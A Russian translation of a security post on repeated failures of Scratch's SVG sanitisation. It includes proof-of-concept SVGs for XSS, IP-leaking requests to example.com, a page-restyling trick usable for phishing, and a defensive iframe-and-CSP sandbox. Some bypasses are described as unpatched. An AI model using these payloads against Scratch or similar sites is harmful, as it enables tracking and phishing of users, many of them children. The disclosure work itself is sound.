惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

S
Schneier on Security
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
T
Threat Research - Cisco Blogs
C
Cyber Attacks, Cyber Crime and Cyber Security
C
CXSECURITY Database RSS Feed - CXSecurity.com
A
Arctic Wolf
Security Latest
Security Latest
Simon Willison's Weblog
Simon Willison's Weblog
I
Intezer
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
T
Troy Hunt's Blog
Latest news
Latest news
Help Net Security
Help Net Security
S
Security Affairs
Webroot Blog
Webroot Blog
The Hacker News
The Hacker News
AI
AI
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
T
Tor Project blog
Forbes - Security
Forbes - Security
Google DeepMind News
Google DeepMind News
AWS News Blog
AWS News Blog
Attack and Defense Labs
Attack and Defense Labs
P
Proofpoint News Feed
www.infosecurity-magazine.com
www.infosecurity-magazine.com
H
Help Net Security
L
Lohrmann on Cybersecurity
S
SegmentFault 最新的问题
Google Online Security Blog
Google Online Security Blog
MongoDB | Blog
MongoDB | Blog
Cyberwarzone
Cyberwarzone
The Last Watchdog
The Last Watchdog
S
Securelist
N
News and Events Feed by Topic
S
Secure Thoughts
F
Fortinet All Blogs
博客园_首页
C
Cybersecurity and Infrastructure Security Agency CISA
量子位
M
MIT News - Artificial intelligence
F
Full Disclosure
T
The Blog of Author Tim Ferriss
T
Tailwind CSS Blog
Recent Commits to openclaw:main
Recent Commits to openclaw:main
Microsoft Security Blog
Microsoft Security Blog
I
InfoQ
P
Privacy International News Feed
L
LangChain Blog
Know Your Adversary
Know Your Adversary
C
CERT Recently Published Vulnerability Notes

Все публикации подряд на Хабре

Ловим музу за клавиатуру: как айтишнику стать автором Что умеет Midjourney в 2026? Мой немного грустный разбор этого шикарного инструмента Никто не любит писать тесты, но ИИ может исправить это IPv8 выглядит как мечта. Поэтому почти наверняка не взлетит Производители вернули в продажу материнки с DDR3. Что происходит? Управление агентом с телефона через Telegram теперь в KodaCode От координации к лидерству: как меняется роль руководителя разработки Я сделала родителям бизнес вместо пенсии: зарабатываем 70 тысяч, мама не даёт продать В три раза быстрее приемка товара и оптимизация трудозатрат на 73%: как «РСТ-Инвент» помог Gulliver Group ИИ-шечный мир победил? О влиянии искусственного интеллекта на игропром Кремль снижает давление на Телеграмм пока Европа строит интернет по паспорту Как CEO, CTO и CIO за 8 часов собрали ИИ-директора, который умеет держать позицию под давлением Как (не) потерять домен за выходные Вместо 8 разных VPS: как я организовал практику студентам на одном сервере Почему твой Open Source проект не замечают? R&D: искусство управления неопределенностью в разработке AI-дефляция: вакансий для разработчиков больше, а рост зарплат — худший за 15 лет Мы отдали управление роботами OpenClaw. Что из этого вышло Галактический ID: система идентификации для всех форм разумной жизни Шесть основ бизнес-анализа: начинаем с вопроса «Кто в игре?» Код-ревью, в котором дело не в коде Данные переехали. Команда — нет Системной подход к сдаче OSWE в 2025 Почему комната управления реактором покрашена в цвет морской пены 4 YAML-файла вместо PySpark: как аналитикам строить пайплайны без разработчиков LLM-агент для поиска свободных доменов: автоматизируем подбор Когда, зачем и как правильно начинать новую сессию в Claude Code? Как я заставил нейросеть писать макросы для FreeCAD Анатомия ИИ‑агента для подбора персонала. От тысячи резюме к топ‑10 за минуты Опыт разработчика как экономика внимания Автономность как точка невозврата: кто будет субъектом в цифровом будущем Обучение ИИ в «диких» условиях: как рутинные действия превращаются в датасеты Как измерить LLM для задач кибербеза: обзор открытых бенчмарков Где хранить код? Сравнение GitHub, GitLab и Bitbucket Математика объясняет, почему нормальное распределение встречается повсюду Почему ваш FinOps не работает: 12 тезисов от практиков Как подписать проектную документацию УКЭП с использованием бесплатных лицензий Pilot Адаптивное администрирование Sigla Vision Я грузил уран в бочки, а потом 20 лет строил ИТ в атомной отрасли Чем позвонить с Эвереста? История и обзор спутниковой связи. Часть 2 Как языковая модель помогает контролировать качество инструктажей по охране труда в металлургии Как не передать на desktop свой IP в РКН Анатомия SAP Privileges: как устроено управление правами в macOS MoneyDev: Сказка про три главных слова Обновлённый токенизатор видео K-VAE 2.0 от Сбера Как сделать диспетчеризацию дома на 1284 квартиры почти бесплатно Как мы разогнали железную дорогу Мы дали агентам рутину. Теперь надо решить — что делать с освободившимся временем Токсичный контент, промпт-хакинг и защита ИИ — всё о Guardrails для LLM Умный город начинается с точного взгляда: как «Фалькон Тех» меняет пространство к лучшему Навайбкодил приложение для анализа графов Почему Дюну так интересно читать? Упрощаем работу с рутиной или как стать Гендальфом Белым Деконструкция Go: CPU, RAM и что там происходит. Go Assembler база. Часть 1.1 Какие профессии исчезнут из-за ИИ, а какие появятся? И что с этим делать Как мы построили IT-отдел, где хочется расти: архитектурные встречи, прозрачные метрики и книжные подарки Rufler: Делаем из Claude Code автономный рой через один YAML-конфиг Sing-box и белый список приложений Как построить надёжный обмен сообщениями в микросервисах: лучшие практики для enterprise OpenAI строит MLM-пирамиду, а McKinsey и Accenture помогают ей в этом Дом, который не построил Фишер (Часть 2) «Сверхзвуковой математик» против «Вдумчивого логиста»: битва алгоритмов 3D-упаковки Мультимодальные модели – грубый и дорогой инструмент Разговоры ничего не стоят. Код тоже Проверки физических лиц: с кого начнет ФНС Топ-10 бесплатных нейросетей для создания видео в 2026 году Первые слои кода: как наши решения сегодня определяют архитектуру ИИ на десятилетия Разработка нового статического анализатора: PVS-Studio JavaScript Поиск уязвимостей ПО: базовый минимум или роскошный максимум Почему оценка персонала не работает как инструмент управления Как мы разработали ИИ-ассистента и сократили рутину продуктовой команды на 50% Как я ушел из найма, нажарил косточек и продал на маркетплейсах на 168 млн в год Когда 1С:ERP уже внедрена, а нормального производственного плана всё ещё нет Как я сделал Claude мультимодальным, подключив к нему Qwen Omni Как приглашение на вакансию мечты превращается в атаку Infrastructure as Code: философия и лучшие практики IaC Тестируем Yandex Code Assistant на задаче, в которой нужно хранить секреты nxs-universal-chart v3.0: новое поколение универсального Helm-чарта Callback Injection: Техника, которая отправила Microsoft Defender в глухой нокаут «Все идеи на стол»: митап как способ вывести проект из тупика Сегодня я узнал нечто новое о GPU благодаря багу в своей игре Как заставить LLM ̶ ̶г̶а̶л̶л̶ю̶ ̶ эволюционировать Карта событий как фундамент аналитики: практический кейс для E-commerce Что выбрать для AI: x86, ARM или RISC-V? Дайджест железа за март Роль соматических мутаций в развитии аутоиммунных заболеваний: путь к избирательной терапии Mythos от Anthropic — тревожный сигнал для всех, а не только для банков Guardrails для LLM на Java: как приручить промпт‑инъекции и токсичные ответы Green-VLA: как мы собрали VLA-модель для реального антропоморфного робота и не потеряли обобщение Финансовая гонка вооружений: почему умные люди добровольно в ней участвуют Эра ИИ-агентов наступила: выбираем лучшего цифрового сотрудника # Практический опыт внедрения WinCC Redundancy на производственном предприятии Сделал MVP за 3 дня, а потом неделю прикручивал оплату. Оно того стоило? Физика против Маска: почему Starship V3 может оказаться ещё одной катастрофой Нефть Венесуэлы: крупнейшие запасы в мире, но не крупнейшая нефтяная держава JPA 4. Переосмысление Hibernate Почему зеркальная фотокамера Nikon D5 десятилетней давности идеально подошла для миссии «Артемида-2» Проект «Уровень-Спутник» или как мы сделали платформу для гидрологов «Замедлиться, чтобы ускориться»: почему ИИ повышает цену ошибок в требованиях и архитектуре Как с нуля поднять трафик IT-компании на 1657% при бюджете 55 тыс. и выжить Pixel-perfect Downsampling — идеальная отрисовка 50 миллионов точек без потерь
Проблемы санации SVG
PatientZero · 2026-04-29 · via Все публикации подряд на Хабре

Уровень сложностиПростой

Время на прочтение13 мин

Охват и читатели537

Перевод

Рендерер Scratch имеет долгую историю связанных с SVG уязвимостей. Их источником становится то, что Scratch парсит сгенерированный пользователем (то есть контролируемый нападающими) контент в элемент <svg> и добавляет его в основной документ для выполнения различных операций (например, для измерения ограничивающего прямоугольника SVG более надёжным образом, чем viewbox или width/height).

Даже если SVG остаётся в основном документе очень недолго, это небезопасная по своей природе операция. Для обеспечения защиты Scratch реализовывал всё более сложную инфраструктуру парсинга SVG и находящейся внутри разметки, чтобы устранить опасные части.

Я считаю, что подход Scratch к санации SVG обречён на провал. Чтобы объяснить это, нам нужно совершить путешествие по истории санации SVG в Scratch и посмотреть, насколько хорошо он с этим справлялся.

2019 год: XSS при помощи тэга <script>

В 2019 году, спустя несколько месяцев после выпуска Scratch 3, разработчики Scratch обнаружили, что SVG могут содержать тэги <script> , исполнение которых при загрузке SVG обеспечивает Scratch. Такая атака называется XSS.

В Scratch атака XSS позволяет нападающему выполнять действия от лица того, кто загрузит его проект. Например, нападающий может публиковать комментарии, удалять проекты или пытаться захватить аккаунт жертвы иными способами. В Scratch Desktop XSS переходит в исполнение произвольного кода, потому что Scratch Desktop включает опасную фичу интеграции Node.js Electron. (В TurboWarp Desktop эта фича не включена с v0.2.0 от марта 2021 года)

Пример из набора тестов Scratch:

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
  <circle cx="250" cy="250" r="50" fill="red" />
  <script type="text/javascript"><![CDATA[
      alert('from the svg!')
  ]]></script>
</svg>

Проблема была устранена при помощи регулярного выражения, удаляющего тэги script.

Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.

2020 год: XSS из-за ошибок в предыдущем исправлении (CVE-2020-7750)

В 2020 году apple502j обнаружил, что XSS всё ещё возможен. Оказалось, что предыдущее исправление абсолютно поломанное и его можно обойти, написав <SCRIPT> заглавными буквами, потому что регулярное выражение учитывало регистр; было и множество других способов обхода. Даже если бы регулярное выражение реализовали корректно, это всё равно бы не сработало, потому что существуют и другие способы встраивания JavaScript в SVG. Например, можно использовать встроенный обработчик событий:

<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <foreignObject x="1" y="1" width="1" height="1">
        <img
            xmlns="http://www.w3.org/1999/xhtml"
            src="data:any invalid URL"
            onerror="alert(1)"
        />
    </foreignObject>
</svg>

Проблема была устранена при помощи DOMPurify, удаляющего скрипты из SVG перед тем, как scratch-svg-renderer добавляет их в документ.

Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.

2022 год: HTTP-утечка через href <image>

В 2022 году обнаружилось, что при помощи свойства href элемента <image> нападающий может создать SVG, который при загрузке вызывает внешний запрос. Оказалось, что хоть DOMPurify и удаляет исполняемый код, он не защищает от HTTP-утечек, потому что «существует слишком много способов её реализации и наши тесты показали, что неё нельзя защититься надёжным образом».

Для Scratch HTTP-утечка означает, что пользователь Scratch может записывать IP-адрес любого, кто загружает его проект, потенциально раскрывая такую информацию, как местоположение или школьный округ. Жертве не нужно нажимать ни на какие ссылки; логгинг IP-адреса происходит просто при загрузке проекта. Похоже, разработчики Scratch посчитали это багом безопасности, и я согласен с ними.

Пример:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="https://example.com/ping"/>
</svg>

Проблема была решена добавлением хуков DOMPurify для удаления свойств href из всех элементов, если URL ссылается на удалённый сайт.

Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.

2023 год: HTTP-утечка через @import CSS

В 2023 году обнаружилось, что при помощи правила @import CSS внутри элемента <style> нападающий может создать проект, создающий внешние запросы при загрузке проекта. Пример:

<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @import url("https://example.com/ping");
  </style>
</svg>

Проблема была решена интеграцией написанного на JavaScript парсера CSS, который удаляет опасные части CSS. Он парсит все содержащиеся в SVG таблицы стилей, удаляет все правила @import, и в случае внесения изменений преобразует CSS обратно в строку.

Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.

2024 год: XSS через Paper.js

В 2024 году я обнаружил XSS в Paper.js — библиотеке, которую Scratch использует в редакторе костюмов. Оказалось, что хотя Scratch санировал SVG перед работой с ними в scratch-svg-renderer, Paper.js передавались несанированные SVG. В основном эта уязвимость представляла такую же угрозу, как XSS scratch-svg-renderer, обнаруженное в 2020 году, но возникала при использовании редактора костюмов, а не при открытии проекта. Пример:

<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" data-paper-data="any invalid JSON">
    <foreignObject x="1" y="1" width="1" height="1">
        <img
            xmlns="http://www.w3.org/1999/xhtml"
            src="data:any invalid URL"
            onerror="alert(1)"
        />
    </foreignObject>
</svg>

Проблема была частично решена за очень долгий период времени благодаря расширению кода санации SVG: теперь он запускался при загрузке SVG, а не только при его обработке в scratch-svg-renderer. С этого момента Paper.js получает только уже санированные SVG.

Я написал «частично решена», потому что не знаю, выполняется ли вообще санация для скачиваемых сервером SVG. В поддержке Scratch мне сказали, что у них «есть меры защиты против того, что обрабатывается на стороне сервера», из-за чего такая санация была бы избыточной. При разработке proof-of-concept я ни разу не видел признаков такой защиты, но, возможно, она реальна.

Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.

2025 год: HTTP-утечка через url() CSS

В 2025 году выяснилось, что при использовании url() внутри некоторых правил CSS нападающий может создать SVG, при загрузке создающий внешний запрос. Примеры:

<svg xmlns="http://www.w3.org/2000/svg">
    <!-- встроенный стиль -->
    <rect style="background-image: url(https://example.com/ping)" />

    <!-- также может использовать элемент <style> -->
    <style>
        .img {
            background-image: url("https://example.com/ping");
        }
    </style>
    <rect class="img" />
</svg>

Проблема была решена существенным расширением кода санации SVG: теперь он искал любые вхождения url() и удалял все стили или атрибуты, ссылающиеся на внешние URL.

Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.

2026 год: HTTP-утечка через множество багов в старом коде

В 2026 году обнаружилось, что при использовании url() внутри некоторых правил CSS нападающий по-прежнему может создать SVG, при загрузке совершающий внешний запрос. Оказалось, что эта HTTP-утечка стала возможной благодаря как минимум трём уникальным багам:

  • Не учтено то, что CSS позволяет записывать url(...) при помощи управляющих последовательностей

  • Не обрабатывалась ситуация, при которой атрибут style содержал несколько url(...), где первый безопасен, а второй нет

  • Не обрабатывался url(), определённый в переменной CSS, на который ссылаются через var(--name)

Пример:

<svg xmlns="http://www.w3.org/2000/svg">
    <circle fill="\75\72\6c(https://example.com/ping)" />
    <rect style="/* url(#safe_url) */ background-image: url(https://example.com/ping)" />
    <style>
        :root {
            --example: url(https://example.com/ping);
        }
        .img {
            background-image: var(--example);
        }
    </style>
    <rect class="img" />
</svg>

Проблема была решена добавлением большого объёма дополнительной сложности вокруг кода, который и так уже был слишком сложным.

Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.

2026 год: полная смена стилей страницы при помощи долгих переходов

В 2026 году выяснилось, что хитро использовав очень долгие переходы и заставив браузер изменить стили всех элементов, нападающий может применять ко всей странице Scratch произвольные стили, сохраняющиеся до обновления страницы. Чаще всего эта уязвимость использовалась для развлечений, но её можно применять и для более зловещих действий:

  • Прятать кнопку «Пожаловаться».

  • Сделать кнопки лайков/добавления в избранное размером со всю страницу, чтобы пользователи вынуждены были их нажимать.

  • Отображать текст, сообщающий пользователю, что ему нужно открыть веб-сайт в новой вкладке, чтобы «верифицировать» свой аккаунт (на какой-нибудь фишинговой странице). Пользователи, скорее всего, поверят инструкциям, потому что сообщение поступает от реального scratch.mit.edu.

Пример проекта (не мой): https://scratch.mit.edu/projects/1299571218/

Рано или поздно это, наверно, исправят, но пока пользователь будет видеть такое:

Scratch project page, but all the page background colors are very obviously wrong.

В этом проекте используются два SVG. Первый из них — это «триггер»:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
  <rect x="0" y="0" width="200" height="100" fill="#111"></rect>
  <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle">
    Trigger
  </text>

  <style>
    /* Заставляем браузер вычислять стили заново, чтобы активировать первый SVG */
    *, * *, * * *, * * * * {
      transform: translateX(1px) scale(10000) rotateY(45deg) perspective(1cm) !important;
      transition: all 9999s ease !important;
      filter: blur(0px) !important;
    }
  </style>
</svg>

Второй содержит стили для отображения:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
  <rect x="0" y="0" width="200" height="100" fill="#111"></rect>
  <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle">
    Styles
  </text>

  <style>
    /* Глобальный синий фон */
    * {
      background-color: blue !important;
      color: white !important;
    }

    /* Стилизация инструкций/описания проекта */
    .project-description, .instructions-container {
      background-color: yellow !important;
      color: black !important;
      border: 10px solid red !important;
      transform: scale(1.1) !important;
    }
  </style>
</svg>

Не буду делать вид, что понимаю происходящее здесь, и почему это работает недетерминированно, но в целом представляю это так:

  • Триггерный SVG применяет transform и filter к каждому элементу документа, чтобы вынудить браузер сразу же заново вычислить все стили, применив стили из другого SVG.

  • Триггерный SVG применяет очень долгий transition, чтобы после удаления другого SVG стили сохранялись в течение всего «перехода»

Эта проблема не решена.

Что ж, если её решат, то SVG наверняка будут полностью безопасны и больше не потребуют исправлений.

2026 год: HTTP-утечка через image-set()

Я сообщал о ней разработчикам Scratch в 2025 году. Они её не устранили, поэтому я раскрываю её в этой статье. Все разумные сроки раскрытия прошли уже полгода назад.

Вместо url() нападающий может использовать image-set(), чтобы создать SVG, при загрузке выполняющий внешний запрос. Примеры:

<svg xmlns="http://www.w3.org/2000/svg">
    <!--
        image-set(...) может использовать внешние ресурсы, которые можно запрашивать без url().
    -->
    <style>
        .image-set-with-string-url {
            background-image: image-set("https://example.com/ping" 1x);
        }
    </style>
    <rect class="image-set-with-string-url" />

    <!--
        image-set(url(...)) работает аналогично image-set(...).
        Такой способ уже блокируется существующей санацией.
    -->
    <style>
        .image-set-with-inner-url-function {
            background-image: image-set(url(https://example.com/ping) 1x);
        }
    </style>
    <rect class="image-set-with-inner-url-function"></rect>

    <!--
        image-set() также может использоваться для встраивания атрибутов стилей.
    -->
    <rect style="background-image: image-set('https://example.com/ping' 1x)" />
</svg>

Эта проблема не решена.

Что ж, если её решат, то SVG наверняка будут полностью безопасны и больше не потребуют исправлений.

20XX год: HTTP-утечка через новые фичи CSS

Об этом я тоже сообщал разработчикам Scratch в 2025 году. На самом деле, этот баг пока не работает, но начнёт работать в будущем, если браузеры реализуют все CSS Units Level 4 или CSS Images Level 4. Сегодня Ladybird — единственный реализующий их браузер, но рано или поздно их могут реализовать и самые популярные браузеры.

Вместо url() нападающий может использовать src() или image(), чтобы создать SVG, при загрузке совершающий внешний запрос. Примеры:

<svg xmlns="http://www.w3.org/2000/svg">
    <!--
        Всё, что есть в этом файле, использует фичи, определённые в спецификациях браузеров, но пока не реализованные.
        Теоретически, браузеры будущего могут инициировать запросы, когда увидят эти стили.
    -->

    <!--
        CSS Units Level 4 определяет src(...), как альтернативу url(...).
        В отличие от url(), URL src() может быть любым выражением, а не только постоянной строкой.
        Ссылка: https://www.w3.org/TR/css-values-4/#example-a2ee15a6
        Пока не реализовано ни в одном популярном браузере. (Только в экспериментальном браузере Ladybird)
    -->
    <style>
        .src-constant {
            background: src('https://example.com/ping');
        }
        .src-variable {
            --url: 'https://example.com/ping';
            background: src(var(--url));
        }
    </style>
    <rect class="src-constant" />
    <rect class="src-variable" />

    <!--
        CSS Images Level 4 определяет image(), как альтернативу url() для изображений.
        Ссылка: https://www.w3.org/TR/css-images-4/#image-notation
        Пока не реализовано ни в одном популярном браузере.
    -->
    <style>
        .image {
            background: image('https://example.com/ping', black);
        }
    </style>
    <rect class="image" />

    <!-- Аналогично приведённым выше примерам, но с использованием встроенных стилей -->
    <rect style="background: src('https://example.com/ping');" />
    <rect style="--url: 'https://example.com/ping'; background: src(var(--url));" />
    <rect style="background: image('https://example.com/ping', black);" />
</svg>

Эта проблема не решена.

Что ж, если её решат, то SVG наверняка будут полностью безопасны и больше не потребуют исправлений.

Такая система неустойчива

Засовывание в процесс санации всё большей сложности — это обречённое на провал решение. Мы уже углубились на пять крупных доработок, но до сих пор существуют известные дыры. Люди активно делятся проектами на веб-сайте Scratch, обходя санацию SVG. А в момент, когда в браузерах решат реализовать последние спецификации CSS, откроется ещё больше дыр.

Кроме того, не у всех этих проблем есть чёткие решения. В случае уязвимости с полной стилизацией страницы оба SVG выглядят совершенно невинно: в них нет JavaScript и ссылок на внешние ресурсы. Вероятно, устранить проблему можно было бы, удалив стили transition, потому что в Scratch переходы всё равно никогда не выполняются, но уверены ли мы, что этого достаточно? Вспомним ли мы, что нужно удалить все версии transition с префиксами поставщика? А что насчёт стилей animation?

Вот некоторые другие примеры, которые могут обеспечить возможность обхода защиты в будущем:

  • css-tree (библиотека, используемая Scratch для парсинга CSS) и реальные парсеры CSS браузеров могут совпадать не полностью. В этом случае css-tree может спарсить CSS так, что всё выглядит правильно, а значит, ничего не удалится, но реальный парсер браузера потом распознает внешний контент.

  • Продвинутые новые фичи CSS наподобие @property или native nesting, которые версии css-tree, возможно, не смогут осмысленно парсить без постоянных обновлений.

  • Браузеры всегда могут добавить новые функции, способные ссылаться на внешний контент, как это произошло с image-set() и с тем, что подразумевает спецификация в src() и image(). Как не отставать от постоянных изменений в этих спецификациях и проверять, не ссылается ли каждая новая функция на внешний контент?

Альтернатива

TurboWarp (форк Scratch, над которым работаю я) не затронули HTTP-утечки 2026 года и проблема полной смены стилей страницы. И не потому, что я нашёл все хитрые способы, которыми SVG могут наносить вред: на самом деле, я полностью удалил код санации CSS, чтобы упакованные проекты стали на 400 КБ меньше.

Я реализовал альтернативное решение для сэндбоксинга SVG внутри iframe. Сначала мы создаём iframe со свойством sandbox, равным allow-same-origin. Это не позволяет исполнять скрипты снаружи iframe, но позволяет при этом взаимодействовать с контентом внутри.

Во-вторых, мы создаём iframe со следующим HTML:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'unsafe-inline' data:; font-src data:; img-src data:">
    </head>
    <body></body>
</html>

Встроенная Content-Security-Policy настроена так, чтобы блокировать все скрипты и позволять загружать только безопасные ресурсы из URL безопасных данных. Также мы по-прежнему используем DOMPurify для устранения из SVG очевидно зловредных вещей. Затем мы помещаем iframe в какую-нибудь часть документа за пределами экрана, чтобы необходимый Scratch API измерений продолжал работать.

Такое решение обеспечивает нам очень удобные свойства:

  • Браузер использует готовый код, чтобы выполнять за нас самую сложную рабоут.

    TurboWarp не обязан знать о всех способах, которыми SVG может выполнять запрос. Их уже знает браузер, и он будет проверять их для всех новых добавляемых API.

    Реальные реализации CSP неидеальны и содержат дыры. Однако эти дыры обычно оказываются странными пограничными случаями, требующими от нападающего обеспечить исполнение JavaScript. Такие уязвимости считаются проблемами безопасности браузеров, поэтому за них платят баг-баунти.

  • SVG не может влиять на основной документ.

    Возьмём для примера смену стилей всей страницы. Так как SVG заключён в iframe, он может изменить стили только этого iframe. Стили iframe ни на что не влияют, так что нас это устраивает.

Наш код можно найти здесь:

Вероятно, можно делать что-то интересное с shadow DOM или другими веб-API, но нас вполне устраивает решение с iframe.

Ниже я расскажу о проблемах, о которых узнал после публикации статьи.

12 апреля 2026 года: Claude нашёл HTTP-утечку через расслабленный синтаксис вложенности CSS

После публикации статьи мне стало интересно, насколько хорошо современные языковые модели умеют находить подобные баги. Я попросил Claude Opus 4.6 клонировать репозиторий scratch-editor, изучить последние изменения в рендерере SVG и поискать в них дыры. Результаты оказались интересными:

  • Claude самостоятельно обнаружил, что image-set(...) не санируется и может вызывать HTTP-утечки.

  • Claude обнаружил новую проблему, не описанную в этом посте.

Баг связан с вложенностью CSS, которая может проявляться в двух формах. Вложенный стиль может добавлять к селектору префикс & или не добавлять префикс (последнее известно, как «расслабленный» синтаксис). Современные браузеры интерпретируют оба показанных ниже примера одинаково.

g {
    & rect {
        background-image: url(https://example.com/ping);
    }
}

g {
    rect {
        background-image: url(https://example.com/ping);
    }
}

css-tree способен парсить версию с префиксом & в осмысленное дерево синтаксиса, которое способен санировать Scratch. Однако оказалось, что css-tree не знает, как парсить расслабленную версию. Весь блок div { ... } парсится, как узел «сырого текста», который код Scratch не санирует. Вот полный пример SVG:

<svg xmlns="http://www.w3.org/2000/svg">
    <style>
        g { rect { background-image: url(https://example.com/ping); } }
    </style>
    <g><rect></rect></g>
</svg>

Ранее в этом посте я говорил, что css-tree и реальные парсеры CSS браузеров могут совпадать не полностью. Вот реальный пример бага, позволяющего обойти санацию CSS. Стоит отметить, что сейчас у css-tree есть 48 открытых issue и множество других неизвестных проблем. Я считаю, что надежда на то, что css-tree будет идеальным парсером — тупиковый путь, который приведёт к ещё большему количеству уязвимостей. Песочница SVG в TurboWarp полностью устранила этот баг, хотя я о нём даже не знал.

Эта проблема не устранена.  Issue css-tree по этому багу открыта с декабря 2023 года.

Что ж, если её решат, то SVG наверняка будут полностью безопасны и больше не потребуют исправлений.